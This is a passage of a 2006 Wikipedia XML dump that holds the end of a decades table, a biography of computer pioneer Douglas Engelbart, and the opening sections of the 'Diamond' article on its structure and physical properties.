&lt;td align=&quot;right&quot;&gt;[[1020s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1030s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1040s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1050s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1060s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1070s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1080s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1090s]]&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;
&lt;td align=&quot;right&quot;&gt;'''[[12th century]]'''&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1100s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1110s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1120s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1130s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1140s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1150s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1160s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1170s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1180s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1190s]]&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;
&lt;td align=&quot;right&quot;&gt;'''[[13th century]]'''&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1200s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1210s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1220s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1230s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1240s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1250s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1260s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1270s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1280s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1290s]]&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;
&lt;td align=&quot;right&quot;&gt;'''[[14th century]]'''&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1300s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1310s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1320s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1330s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1340s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1350s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1360s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1370s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1380s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1390s]]&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;
&lt;td align=&quot;right&quot;&gt;'''[[15th century]]'''&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1400s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1410s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1420s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1430s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1440s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1450s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1460s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1470s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1480s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1490s]]&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;
&lt;td align=&quot;right&quot;&gt;'''[[16th century]]'''&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1500s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1510s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1520s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1530s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1540s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1550s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1560s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1570s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1580s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1590s]]&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;
&lt;td align=&quot;right&quot;&gt;'''[[17th century]]'''&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1600s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1610s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1620s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1630s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1640s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1650s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1660s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1670s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1680s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1690s]]&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;
&lt;td align=&quot;right&quot;&gt;'''[[18th century]]'''&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1700s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1710s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1720s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1730s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1740s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1750s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1760s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1770s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1780s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1790s]]&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;
&lt;td align=&quot;right&quot;&gt;'''[[19th century]]'''&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1800s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1810s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1820s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1830s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1840s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1850s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1860s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1870s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1880s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1890s]]&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;
&lt;td align=&quot;right&quot;&gt;'''[[20th century]]'''&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1900s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1910s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1920s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1930s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1940s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1950s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1960s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1970s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1980s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1990s]]&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;
&lt;td align=&quot;right&quot;&gt;'''[[21st century]]'''&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[2000s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[2010s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[2020s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[2030s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[2040s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[2050s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[2060s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[2070s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[2080s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[2090s]]&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;

[[Category:Decades]]

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[[da:Årti]]
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[[nl:Decennium]]
[[ja:10&amp;#24180;&amp;#32000;]]
[[lt:De&amp;#353;imtme&amp;#269;iai]]
[[no:Tiår]]
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[[zh:&amp;#24180;&amp;#20195;]]</text>
    </revision>
  </page>
  <page>
    <title>Douglas Engelbart</title>
    <id>8081</id>
    <revision>
      <id>42042557</id>
      <timestamp>2006-03-03T11:53:35Z</timestamp>
      <contributor>
        <ip>86.42.42.233</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Douglas engelbart.jpg|thumb|300px|Douglas Engelbart]]
'''Dr. Douglas C. Engelbart''' (born [[January 30]], [[1925]] in [[Oregon]]) is an [[United States|American]] [[inventor]] of [[Norwegian-American|Norwegian descent]].  He is best known for inventing the [[computer mouse]] (in a joint effort with [[Bill English (computer engineer)|Bill English]]); as a pioneer of [[human-computer interaction]] whose team developed [[hypertext]], networked computers, and precursors to [[graphical user interface|GUIs]]; and as a committed and vocal proponent of the development and use of [[computers]] and [[computer network|networks]] to help cope with the world's increasingly more urgent and complex problems (which [[Horst W. J. Rittel]] and others since have called [[wicked problems]]).

==Education==
Engelbart received a [[Bachelor's degree]] in electrical engineering from [[Oregon State University]] in 1948, a Bachelor of Engineering degree from UC Berkeley in 1952, and a [[Doctor of Philosophy|Ph.D.]]. from [[University of California, Berkeley|UC Berkeley]] in 1955. While at Oregon State, he was a member of [[Sigma Phi Epsilon]] social fraternity.

As a [[World War II]] naval radio [[technician]] based in the [[Philippines]], Engelbart was inspired by [[Vannevar Bush]]'s article &quot;[[As We May Think]]&quot;. After the war, Engelbart studied at UC Berkeley, where he earned a Ph.D. in 1955. He spent over a year trying to create an unsuccessful [[startup]], Digital Techniques, to commercialize some of his doctorate research into storage devices, then was hired to work in [http://www.sri.com/about/timeline/allmagnetic-logic.html magnetic logic] devices at the [[Stanford Research Institute]], now headquartered in [[Menlo Park, California|Menlo Park]], while the organization was still affiliated with [[Stanford University]].

==Career and accomplishments==
[[Image:firstmouseunderside.jpg|frame|The first [[computer mouse]] held by Engelbart showing the wheels which directly contact the working surface.]]

[[Historian]] of science [[Thierry Bardini]] has persuasively argued that Engelbart's complex personal [[philosophy]] (which drove all his research endeavors) foreshadowed the modern application of the concept of [[coevolution]] to the philosophy and use of [[technology]]. Bardini points out that Engelbart was strongly influenced by the [[principle of linguistic relativity]] developed by [[Benjamin Lee Whorf]].  

Where Whorf reasoned that the sophistication of a language controls the sophistication of the thoughts that can be expressed by a speaker of that language, Engelbart reasoned that the state of our current technology controls our ability to manipulate information, and that fact in turn will control our ability to develop new, improved  technologies.  He thus set himself to the revolutionary task of developing  computer-based technologies for manipulating information directly, and also to improve individual and group processes for knowledge-work. Engelbart's philosophy and research agenda is most clearly and directly expressed in the 1962 research report which Engelbart refers to as his 'bible':  [http://www.bootstrap.org/augdocs/friedewald030402/augmentinghumanintellect/ahi62index.html Augmenting Human Intellect: A Conceptual Framework]. The concept of network augmented intelligence is attributed to Engelbart based on this pioneering work.

At SRI, Engelbart was the primary force behind the design and development of the [[On-Line System]], or NLS. He and his team at the [[Augmentation Research Center]] (the lab he founded) developed computer-interface elements such as bit-mapped screens, multiple windows, groupware, [[hypertext]] and precursors to the [[graphical user interface]]. He conceived and developed many of his user interface ideas back in the mid-1960s, long before the personal computer revolution, at a time when most individuals were kept away from computers, and could only use computers through intermediaries (see [[batch processing]]), and when software tended to be written for vertical applications in proprietary systems.  

[[Image:Apple Macintosh Plus mouse.jpg|200px|thumb| An [[Apple Macintosh]] Plus's Mouse, 1986]]

In 1970 Engelbart received a [[patent]] for the wooden shell with two metal wheels ([[computer mouse]] {{US patent|3,541,541}}), describing it in the patent application as an ''&quot;X-Y position indicator for a display system&quot;''.  Engelbart later revealed that it was nicknamed the ''mouse'' because the tail came out the end. It was also called the ''bug'' at the time (as evidenced by Engelbart's personal correspondence on file at Stanford) but eventually this practice died out. 

He never received any [[royalties]] for his mouse invention, partly because his patent expired in 1987, before the personal computer revolution made the mouse an indispensable input device, and also because subsequent mice used different mechanisms that did not infringe upon the original patent. During an interview, he says &quot;[[SRI International|SRI]] patented the mouse, but they really had no idea of its value. Some years later I learned that they had licensed it to [[Apple Computer|Apple]] for something like $40,000.&quot;

Engelbart showcased many of his and ARC's inventions in 1968 at the so-called [[The Mother of All Demos|mother of all demos]].

===ARPANET===
Because Engelbart's research and tool-development for online collaboration and interactive human-computer interfaces was partially funded by [[Advanced Research Projects Agency|ARPA]], SRI's ARC became involved with the, [[ARPANET#Initial_ARPANET_deployment |ARPANET]] (the precursor of the [[Internet]]). 

On [[October 29]], [[1969]], the world's first electronic computer network, the [[ARPANET#Initial_ARPANET_deployment |ARPANET]], was established  between nodes at [[Leonard Kleinrock]]'s lab at [[UCLA]] and Engelbart's lab at SRI. [[Interface Message Processors]] at both sites served as the [[Internet backbone| backbone]] of the first [[Internet]] [http://www.engineer.ucla.edu/stories/2004/Internet35.htm]. 

In addition to SRI and UCLA, [[UCSB]], and the [[University of Utah]] were part of the original four network nodes. By [[December 5]], [[1969]], the entire 4-node network was connected.

ARC soon became the first [[Network Information Center]] and thus managed the directory for connections among all ARPANET nodes. ARC also published a large percentage of the early [[Request For Comment]]s, an ongoing series of publications that document the evolution of ARPANET/Internet.

==End of corporate career and subsequent developments==
Engelbart slipped into relative obscurity after 1976 due to various misfortunes and misunderstandings.  Several of Engelbart's best researchers became alienated from him and left his organization for [[Xerox PARC]], in part due to frustration, and in part due to differing views of the future of computing, where Engelbart saw the future in timeshare (client/server) computing, which younger programmers rejected in favor of the personal computer. The conflict was both technical and social: Engelbart came from a time in which only timeshare computing was achievable, and also believed in joint effort; the younger programmers came from an era where centralized power was highly suspect, and personal computing was just barely on the horizon. The [[Mansfield Amendment]], the end of the [[Vietnam War]], and the end of [[Project Apollo]] reduced ARC's funding from ARPA and [[NASA]]. SRI's management, which disapproved of Engelbart's approach to running the center, placed the remains of ARC under the control of [[artificial intelligence]] researcher [[Bert Raphael]], who fired Engelbart (from the lab that Engelbart had founded) in 1976. Engelbart's house in [[Atherton, California|Atherton]] burned down shortly afterwards, causing him and his family even further problems. 

In 1978, a company called [[Tymshare]] bought [[On-Line System|NLS]], hired its creator as a Senior Scientist, and offered commercial services based upon NLS.  Tymshare was already somewhat familiar with NLS; back when ARC was still operational, it had experimented with its own local copy of the NLS software on a minicomputer called OFFICE-1, as part of a joint project with ARC.

At Tymshare, Engelbart soon found himself marginalized and relegated to obscurity--operational concerns at Tymshare overrode Engelbart's desire to do further research.  Various executives first at Tymshare and later at [[McDonnell Douglas]] (which took over Tymshare in 1982) expressed interest in his ideas, but never committed the funds or the people to further develop them.  He left McDonnell in 1986 and retired from corporate life.

Since the late 1980s, prominent individuals and organizations have recognized the seminal importance of Engelbart's contributions:

In December 1995, at the Fourth WWW Conference in Boston, he was the first recipient of what would later become the [[Yuri Rubinsky Memorial Award]]. In 1997 he was awarded the [[Lemelson-MIT Prize]] of $500,000, the world's largest single prize for invention and innovation, and the [[Turing Award]]. In 1998 the [http://svarchive.stanford.edu/ ''Stanford Silicon Valley Archives''] and the [[Institute for the Future]] hosted [http://unrev.stanford.edu/ ''Engelbart's Unfinished Revolution''], a large [[symposium]] at [[Stanford University]]'s Memorial Auditorium, to honor Engelbart and his ideas. In early 2000 Engelbart produced, with a dedicated team of volunteers and financial supporters, what was called the Engelbart Colloquium or [http://www.bootstrap.org/colloquium/colloquium.html ''The Unfinished Revolution - II''], at Stanford University. The Colloquium was meant to document and publicize his work and ideas to a large audience (live, and online). The archives of this [http://scpd.stanford.edu/scpd/students/Dam_ui/pages/ArchivedVideoList.asp?Include=engelbart_colloquium ''Engelbart UnRev-II Colloquium at Stanford''] are still available online as of this writing ([[2005|September 2005]]). In December 2000, US President [[Bill Clinton]] awarded Engelbart the [http://www.bootstrap.org/chronicle/pix/nmt.html ''National Medal of Technology''], the United States' highest technology award. In 2001 Engelbart was awarded a [[British Computer Society]]'s [[Lovelace Medal]]. 2005 saw Engelbart made a Fellow of the Computer History Museum and winner of the [[Norbert Wiener Award]], awarded annually by [[Computer Professionals for Social Responsibility]].

==At present==
Currently (at age 81 in [[As of 2006|2006]]), he is the director of his own company, the [[Bootstrap Institute]] which he founded in 1988 with his daughter, [[Christina Engelbart]]. It is located in [[Fremont, California]] and promotes Engelbart's latest refinement of his philosophy, the concept of [[Collective intelligence|Collective IQ]], and development of what he calls [http://www.bootstrap.org/augdocs/augment-132082.htm Open Hyper-Document Systems](OHS), and [http://www.invisiblerevolution.net/hyper-and-blog.html HyperScope], a subset of OHS. Bootstrap is housed rent-free courtesy of the [[Logitech|Logitech Corp.]], the world's largest manufacturer of computer mice.

==See also==
* [[Collaborative software]]
* [[History of the graphical user interface]]
* [[Hypertext Editing System]]
* [[Ivan Sutherland]]
* [[Jeff Rulifson]]
* [[Machine augmented intelligence]]
* [[Ted Nelson]]
* [[Andries van Dam]]

==External links==
* [http://news.bbc.co.uk/hi/english/sci/tech/newsid_1633000/1633972.stm ''The Man behind the Mouse''] (featured on [[BBC News Online]])
* [http://www.bootstrap.org/chronicle/chronicle.html Bootstrap Institute Bio] and [http://www.bootstrap.org/chronicle/cv.html Curriculum Vitae]
* [http://unrev.stanford.edu/ ''Engelbart's Unfinished Revolution'']; Dec 1998 at Stanford University
* [http://www.bootstrap.org/colloquium/colloquium.html ''The Unfinished Revolution: Strategy and Means for Coping with Complex Problems'']; Jan-March 2000 Colloquium at Stanford University 
* [http://invisiblerevolution.net The History of Doug Engelbart and Interactive Computing]
* [http://opencourse.org/Collaboratories/hyperscope/hyperscope-wiki/FrontPage The Study of Engelbart: An Educational Networked Improvement Community] California State University Student Wiki studying Engelbart, Directed by Valerie Landau
* [http://www.almaden.ibm.com/coevolution/bio/index.shtml?engelbart As We May Work from IBM Symposium site]
* [http://www.pbs.org/cringely/pulpit/pulpit20040826.html Column] by [[Robert X. Cringely]]
* [http://www.wired.com/wired/archive/12.01/mouse_pr.html Wired article: The Click Heard Round The World]
* [http://switch.sjsu.edu/nextswitch/categories/issue18/invitational/switch_engelbart_transcript.pdf Transcript] of 2003 visit to [http://cadre.sjsu.edu San Jose State University]
* [http://www.zakros.com/wvr/wvr.html ''Multimedia: From Wagner to Virtual Reality''], by Randall Packer
* [http://www.superkids.com/aweb/pages/features/mouse/mouse.html ''Doug Engelbart: Father of the Mouse'']
* [http://sloan.stanford.edu/MouseSite/1968Demo.html ''Doug Engelbart 1968 Demo''] Original 90-minute video from [http://sloan.stanford.edu/MouseSite/ MouseSite]
* [http://groups.yahoo.com/group/processing_engelbart/links ''A Fairly Extensive Set Of Links'']
* [http://www.openaugment.org/ OpenAugment Consortium], dedicated to the preservation of the Augment system
* [http://www.sri.com/about/timeline/mouse.html SRI mouse]
* [http://www.pbs.org/cringely/nerdtv/shows/#11 Nerd TV, Inventer of the mouse] hour long video interview by Robert X. Cringely
* [http://channel9.msdn.com/Showpost.aspx?postid=141728 Channel9 @MSDN ]Interview with Douglas Engelbart.

[[Category:1925 births|Engelbart, Doug]]
[[Category:Living people|Engelbart, Doug]]
[[Category:American inventors|Engelbart, Doug]]
[[Category:Computer hardware engineers|Engelbart, Doug]]
[[Category:Computer pioneers|Engelbart, Doug]]
[[Category:Human-computer interaction notables|Engelbart, Doug]]
[[Category:Norwegian-Americans|Engelbart, Doug]]
[[Category:Portlanders|Engelbart, Doug]]
[[Category:Sigma Phi Epsilon brothers|Engelbart, Doug]]
[[Category:Turing Award laureates|Engelbart, Doug]]

[[de:Douglas C. Engelbart]]
[[es:Douglas Engelbart]]
[[fr:Douglas Engelbart]]
[[he:דאגלאס אנגלברט]]
[[ja:ダグラス・エンゲルバート]]
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[[nl:Douglas Engelbart]]
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[[sv:Douglas Engelbart]]</text>
    </revision>
  </page>
  <page>
    <title>Diamond</title>
    <id>8082</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>41857183</id>
      <timestamp>2006-03-02T04:32:51Z</timestamp>
      <contributor>
        <username>Bantman</username>
        <id>133635</id>
      </contributor>
      <comment>rv</comment>
      <text xml:space="preserve">{{featured article}}
{{otheruses}}
[[Image:Brillanten.jpg|thumb|250px|A scattering of round-brilliant cut diamonds shows off the many reflecting facets.]]
&lt;!--First paragraph: Chemistry and Material Properties, Introduction, Industry Size--&gt;
'''Diamond''' is  one of the two best known forms (or ''[[allotropy|allotropes]]'') of [[carbon]], whose [[hardness]] and high [[Dispersion (optics)|dispersion]] of light make it useful for industrial applications and [[Jewellery|jewelry]] (the other equally well known [[allotropes of carbon|allotrope]] is [[graphite]]). Diamonds are specifically renowned as a [[mineral]] with superlative physical qualities - they make excellent [[abrasive]]s because they can only be scratched by other diamonds, which also means they hold a polish extremely well and retain [[luster]].  About 130 million [[Carat (mass)|carats]] (26,000 kg) are mined annually, with a total value of nearly [[US dollar|USD $]]9 [[billion]].

&lt;!--Second paragraph: Etymology and Applications--&gt;
The name &quot;diamond&quot; derives from the [[Greek language|ancient Greek]] ''adamas'' (&amp;#945;&amp;#948;&amp;#940;&amp;#956;&amp;#945;&amp;#962;; &quot;invincible&quot;).  They have been treasured as [[gem]]s since their use as religious [[icon]]s in [[India]] at least 2,500 years ago&amp;mdash;and usage in [[drill bit]]s and [[engraving]] tools also dates to early human history.  Popularity of diamonds has risen since the 19th century because of improved cutting and polishing techniques, and they are commonly judged by the &quot;four Cs&quot;: ''carat'', ''clarity'', ''color'', and ''cut''.  Although nearly four times the mass of natural diamonds are produced as [[synthetic diamond]] each year, the vast majority of synthetic diamond production remains small, imperfect diamonds suitable only for industrial-grade use, with gem-quality synthetic diamonds only recently becoming available.

&lt;!--Third paragraph: Mining and Distribution--&gt;
Most natural diamonds originate from central and southern [[Africa]], although significant sources of the mineral have been discovered in [[Canada]], [[Russia]], [[Brazil]], and [[Australia]]. 
They are generally mined from [[volcanic pipe]]s, which are deep in the Earth where the high pressure and temperature enables the formation of the crystals.  The mining and distribution of natural diamonds are subjects of frequent controversy&amp;mdash;such as with concerns over the sale of ''[[conflict diamond|conflict diamonds]]'' by African [[paramilitary]] groups.  There are also allegations that the [[De Beers|De Beers Group]] misuses its dominance in the industry to control supply and manipulate price via [[monopoly|monopolistic]] practices.

==Material properties==
[[Image:Diamond unit cell.PNG|thumb|The [[unit cell]] of the diamond crystal.]]
{{main|Material properties of diamond}}

''See also: [[Crystallographic defects in diamond]]''

Diamond is a [[transparency (optics)|transparent]] [[crystal]] of pure [[carbon]] consisting of [[tetrahedron|tetrahedrally]] bonded carbon atoms. Humans have been able to adapt diamonds for many uses because of the material's exceptional physical characteristics. Most notable among these properties are the extreme [[hardness]] of diamond, its high [[dispersion (optics)|dispersion]] index, and high thermal conductivity. These properties form the basis for most modern applications of diamond. 

===Mechanical properties===
====Crystal structure====
Diamonds typically crystallize in the face-centered [[cubic crystal system]] and consist of [[tetrahedron|tetrahedrally]] bonded carbon atoms. The [[crystal structure#unit cell|unit cell]] of diamond has a two atom basis at (0,0,0) and (1/4,1/4,1/4), which means half of the atoms are at lattice points and the other half are offset by (1/4,1/4,1/4), where 1 is the length of a side of the unit cell.

The tetrahedral arrangement of atoms in a diamond crystal is the source of many of diamond's properties. [[Graphite]], another [[allotrope]] of carbon, has a [[rhombohedral]] crystal structure and as a result shows dramatically different physical characteristics — contrary to diamond, graphite is a very soft, dark gray, opaque mineral. Other elements of the [[carbon group]] such as [[silicon]] have forms analogous to diamond.

[[Lonsdaleite]] is a [[polymorph]] of diamond (and a distinct mineral species) that crystallizes with hexagonal symmetry; it is rarely found in nature, but is characteristic of [[synthetic diamond]]s. A [[cryptocrystal]]line variety of diamond is called [[carbonado (diamond)|carbonado]]. A colorless, grey or black diamond with a tiny radial structure is a [[spherulites|spherulite]].

====Hardness====
[[Image:Diamsm.gif|framed|The diamond crystal bond structure gives the gem its [[hardness]] and differentiates it from [[graphite]].]]
Diamond is the [[hardness|hardest]] known naturally occurring material, scoring 10 on the relative [[Mohs scale of mineral hardness]] and having an absolute hardness value of between 167 and 231 [[gigapascal]]s in various tests. Diamond's hardness has been known since antiquity, and is the source of its name. However, [[aggregated diamond nanorods]], an [[Carbon#Allotropes|allotrope]] of [[carbon]] first synthesized in 2005, are now believed to be even harder than diamond.

The hardest diamonds in the world are diamonds from the New England area in New South Wales, [[Australia]]. These diamonds are generally small, perfect to semiperfect octahedra and are used to polish other diamonds. Their hardness is considered to be a product of the crystal growth form, which is  single stage growth crystal. Most other diamonds show more evidence of multiple growth stages, which produce inclusions, flaws and defect planes in the crystal lattice all of which affect their hardness (Taylor et al. 1990). 

Industrial use of diamonds has historically been associated with their hardness; this property makes diamond the ideal material for cutting and grinding tools.  It is one of the most known and most useful of more than 3,000 known minerals.   As the hardest known naturally occurring material, diamond can be used to polish, cut, or wear away any material, including other diamonds. Common industrial adaptations of this ability include diamond-tipped drill bits and saws, or use of diamond powder as an [[abrasive]]. Other specialized applications also exist or are being developed, including use as [[semiconductor]]s: some blue diamonds are natural semiconductors, in contrast to most other diamonds, which are excellent electrical [[insulator]]s. Industrial-grade diamonds are either unsuitable for use as gems or synthetically produced, which lowers their price and makes their use economically feasible.  Industrial applications, especially as [[drill bit]]s and [[engraving]] tools, also date to ancient times.

The hardness of diamonds also contributes to its suitability as a [[gemstone]]. Because it can only be scratched by other diamonds, it maintains its polish extremely well, keeping its luster over long periods of time. Unlike many other gems, it is well-suited to daily wear because of  its resistance to scratching&amp;mdash;perhaps contributing to its popularity as the preferred gem in an [[engagement ring]] or [[wedding ring]], which are often worn every day.

====Toughness====
Unlike hardness, which only denotes resistance to scratching, diamond's [[toughness]] is only fair to good. Toughness relates to a material's ability to resist breakage from forceful impact. As with any material, the macroscopic geometry of a diamond contributes to its resistance to breakage. Diamonds cut into certain particular shapes are therefore more prone to breakage than others.

====Color====
Diamonds occur in a variety of transparent [[hue]]s &amp;mdash; colorless, [[white]], steel, [[blue]], [[yellow]], [[orange (colour)|orange]], [[red]], [[green]], [[pink]], [[brown]]&amp;mdash;or colored [[black]]. Diamonds with a detectable hue to them are known as ''colored diamonds''. Colored diamonds contain impurities or structural defects that cause the coloration, while pure or nearly pure diamonds are transparent and colorless. Most diamond impurities replace a carbon atom in the [[crystal lattice]]. The most common impurity, [[nitrogen]], causes a yellowish or brownish tinge.

====Thermodynamic stability====
At surface air pressure (one atmosphere), diamonds are not as stable as graphite, and so the decay of diamond is thermodynamically favorable ([[Gibbs free energy|&amp;Delta;''G'']]&amp;nbsp;=&amp;nbsp;&amp;minus;2.99&amp;nbsp;kJ&amp;nbsp;/&amp;nbsp;mol). Diamonds will burn at approximately 800 degrees [[Celsius]], providing that enough oxygen is available. This was shown in the late 18th century, and previously described during [[Ancient Rome|Roman]] times. However, owing to a very large kinetic energy barrier, diamonds are [[metastable]]; under [[Standard temperature and pressure|normal conditions]], it would take an extremely long time (possibly more than the age of the Universe) for diamond to decay into graphite.

===Electromagnetic properties===
[[Image:Prism rainbow schema.png|framed|Diamonds exhibit high dispersion of visible light.]]
====Optical properties====
Diamonds exhibit a high [[dispersion (optics)|dispersion]] of visible light. This strong ability to split white light into its component colors is an important aspect of diamond's attraction as a gemstone, giving it impressive [[prism (optics)|prismatic]] action that results in so-called ''fire'' in a well-cut stone. The [[luster]] of a diamond, a characterization of how light interacts with the surface of a crystal, is brilliant and is described as ''adamantine'', which simply means diamond-like. This is owed to their high [[refractive index]] of 2.417 (at 589.3 [[1 E-9 m|nm]]), which causes [[total internal reflection]] to occur. Some diamonds exhibit [[fluorescence]] of various colors (predominately blue) under long wave [[ultraviolet light]].  Nearly all diamonds fluoresce bluish-white, yellow or green  under [[X-ray|X-rays]] and this property is used extensively in mining to separate the fluorescing diamond from the non-fluorescing rock. Most diamonds show no fluorescence although colored diamonds show a wider range of fluorescence than the blue fluorescence normally observed in clear diamonds

====Electrical properties====
Except for most [[blue]] diamonds, which are [[semiconductor]]s, diamonds are good electrical [[insulator]]s. Blue diamonds owe their semiconductive property to [[boron]] impurities, which act as a [[doping (semiconductors)|doping agent]] and cause [[p-type semiconductor]] behavior. Blue diamonds which are not boron-doped, such as those recently recovered from the [[Argyle diamond mine]] in [[Australia]] that owe their color to an overabundance of [[hydrogen]] atoms, are not semiconductors.

====Thermal properties====
